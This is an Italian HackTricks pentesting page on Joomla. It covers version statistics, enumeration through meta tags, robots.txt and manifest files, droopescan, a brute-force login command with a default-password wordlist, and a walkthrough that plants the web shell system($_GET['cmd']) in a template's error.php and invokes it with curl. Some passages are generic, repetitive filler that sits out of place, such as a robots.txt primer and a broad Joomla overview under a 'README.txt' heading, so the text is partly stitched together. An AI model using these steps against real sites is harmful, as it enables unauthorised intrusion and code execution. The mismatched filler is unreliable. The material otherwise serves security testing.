hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-02-10 13:03:23 +00:00

11 KiB

Joomla

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Statistiche di Joomla

Joomla raccoglie alcune statistiche sull'utilizzo come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server utilizzati nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro API pubblica.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumerazione

Scoperta/Rilevamento

  • Controlla i meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />

robots.txt

Il file robots.txt è un file di testo utilizzato dai motori di ricerca per determinare quali pagine o directory di un sito web possono essere indicizzate. Questo file viene posizionato nella radice del sito web e contiene istruzioni per i crawler dei motori di ricerca.

Struttura del file robots.txt

Il file robots.txt è composto da una serie di direttive che specificano quali pagine o directory devono essere escluse o consentite ai motori di ricerca. Le direttive sono organizzate nel seguente modo:

User-agent: [nome del crawler]
Disallow: [directory o pagina da escludere]
Allow: [directory o pagina da consentire]

Esempi di direttive

Ecco alcuni esempi di direttive comuni utilizzate nel file robots.txt:

  • User-agent: * indica che la direttiva si applica a tutti i crawler dei motori di ricerca.
  • Disallow: /directory/ impedisce ai crawler di accedere a una specifica directory.
  • Allow: /directory/pagina.html consente ai crawler di accedere a una specifica pagina all'interno di una directory esclusa.

Importanza del file robots.txt nella sicurezza

Il file robots.txt può essere utilizzato anche per nascondere informazioni sensibili o directory che non dovrebbero essere accessibili pubblicamente. Tuttavia, è importante notare che il file robots.txt non fornisce una protezione completa e non dovrebbe essere utilizzato come unico meccanismo di sicurezza. Altre misure di sicurezza, come l'autenticazione e l'autorizzazione, devono essere implementate per proteggere adeguatamente il sito web.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla è un sistema di gestione dei contenuti (CMS) molto popolare utilizzato per creare e gestire siti web. Come qualsiasi altro CMS, Joomla può essere vulnerabile a diverse tecniche di attacco. In questa sezione, esploreremo alcune delle tecniche di pentesting utilizzate per testare la sicurezza di un sito Joomla.

Enumerazione

La fase di enumerazione è il primo passo nel processo di pentesting di un sito Joomla. L'obiettivo è raccogliere informazioni sul sito, come versione di Joomla, estensioni installate e utenti registrati. Queste informazioni possono essere utilizzate per identificare potenziali vulnerabilità e punti deboli nel sistema.

Enumerazione della versione di Joomla

Per determinare la versione di Joomla in esecuzione su un sito, è possibile utilizzare diversi metodi. Uno dei modi più comuni è cercare nel codice sorgente del sito o nelle intestazioni HTTP per trovare indizi sulla versione di Joomla utilizzata.

Un altro metodo è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulla versione di Joomla e sulle estensioni installate.

Enumerazione delle estensioni

Le estensioni di Joomla, come i plugin e i componenti, possono essere vulnerabili a diverse tecniche di attacco. Pertanto, è importante identificare le estensioni installate su un sito Joomla durante la fase di enumerazione.

Un modo per enumerare le estensioni è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulle estensioni installate.

Enumerazione degli utenti

Durante la fase di enumerazione, è anche importante identificare gli utenti registrati su un sito Joomla. Queste informazioni possono essere utilizzate per identificare potenziali account deboli o vulnerabili.

Un modo per enumerare gli utenti è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sugli utenti registrati.

Vulnerabilità comuni

Una volta completata la fase di enumerazione, è possibile identificare potenziali vulnerabilità nel sito Joomla. Alcune delle vulnerabilità comuni includono:

  • Cross-Site Scripting (XSS): consentono agli attaccanti di eseguire codice JavaScript malevolo sul sito.
  • SQL Injection: consentono agli attaccanti di eseguire comandi SQL non autorizzati sul database del sito.
  • Remote File Inclusion (RFI): consentono agli attaccanti di includere file remoti sul sito.
  • Local File Inclusion (LFI): consentono agli attaccanti di includere file locali sul sito.
  • Directory Traversal: consentono agli attaccanti di accedere a file e directory al di fuori della directory web root.

Exploiting

Una volta identificate le vulnerabilità, è possibile sfruttarle per ottenere l'accesso non autorizzato al sito Joomla. Questo può includere l'esecuzione di codice arbitrario, l'accesso al database o l'ottenimento di privilegi amministrativi.

Per sfruttare le vulnerabilità, è possibile utilizzare strumenti di hacking come Metasploit o Burp Suite. Questi strumenti forniscono una serie di moduli e script che possono essere utilizzati per automatizzare il processo di exploit.

Prevenzione

Per proteggere un sito Joomla dalle vulnerabilità, è importante seguire alcune best practice di sicurezza, come:

  • Mantenere sempre aggiornato Joomla e le sue estensioni.
  • Utilizzare password complesse per gli account amministrativi.
  • Limitare l'accesso ai file di configurazione sensibili.
  • Impostare correttamente i permessi dei file e delle directory.
  • Utilizzare un firewall per filtrare il traffico indesiderato.

Seguendo queste best practice, è possibile ridurre significativamente il rischio di compromissione del sito Joomla.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versione

  • In /administrator/manifests/files/joomla.xml puoi vedere la versione.
  • In /language/en-GB/en-GB.xml puoi ottenere la versione di Joomla.
  • In plugins/system/cache/cache.xml puoi vedere una versione approssimativa.

Automatico

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Metodologia di Pentesting Web è una sezione sugli scanner CMS che possono scansionare Joomla.

Brute-Force

Puoi utilizzare questo script per tentare un attacco di forza bruta al login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE (Esecuzione Remota di Codice)

Se sei riuscito a ottenere le credenziali dell'amministratore, puoi eseguire un RCE all'interno di esse aggiungendo un frammento di codice PHP per ottenere l'esecuzione remota di codice. Possiamo fare ciò personalizzando un template.

  1. Clicca su Templates in basso a sinistra sotto Configuration per accedere al menu dei template.
  2. Clicca su un nome di template. Scegliamo protostar sotto l'intestazione della colonna Template. Questo ci porterà alla pagina Templates: Customise.
  3. Infine, puoi cliccare su una pagina per visualizzare il codice sorgente. Scegliamo la pagina error.php. Aggiungeremo una riga di codice PHP per ottenere l'esecuzione del codice come segue:
  4. system($_GET['cmd']);
  5. Salva e Chiudi
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!